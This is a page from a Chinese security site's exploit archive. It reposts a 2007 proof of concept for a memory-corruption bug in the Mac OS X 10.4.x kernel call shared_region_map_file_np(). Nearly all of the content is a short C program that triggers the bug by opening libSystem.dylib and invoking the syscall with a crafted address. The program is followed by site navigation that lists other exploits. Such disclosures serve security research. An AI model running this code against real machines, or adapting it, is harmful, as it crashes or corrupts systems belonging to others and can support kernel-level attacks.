首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X 10.4.x Kernel shared_region_map_file_np() Memory Corruption
来源:adriano@risesecurity.org 作者:adriano 发布时间:2007-01-22  

/*
This vulnerability was discovered by Adriano Lima
<adriano@risesecurity.org>.

REFERENCES

[1] Mac OS X Internals: A Systems Approach By Amit Singh

DISCLAIMER

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any
information
provided, including any kind of information which is incomplete or
incorrect,
will therefore be rejected.
*/


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <unistd.h>

int main(int argc,char **argv){
int fd;

if((fd=open("/usr/lib/libSystem.dylib",O_RDONLY))==-1){
perror("open");
exit(EXIT_FAILURE);
}

if(syscall(SYS_shared_region_map_file_np,fd,0x02000000,NULL,NULL)==-1){
perror("shared_region_map_file_np");
exit(EXIT_FAILURE);
}

exit(EXIT_FAILURE);
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple iChat 3.1.6 v441 aim://
·Sun Microsystems Java GIF File
·phpIndexPage <= 1.0.1 (conf
·3Com TFTP Service <= 2.0.1
·GNU/Linux mbse-bbs <= 0.70.
·Mafia Scum Tools 2.0.0 (index.
·phpBP <= RC3 (2.204) (sql/c
·webSPELL 4.01.02 (gallery.php)
·Mac OS X 10.4.8 SLP Daemon Ser
·Mac OS X 10.4.8 System Prefere
·BrowseDialog Class (ccrpbds6.d
·VisoHotlink 1.01 functions.vis
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved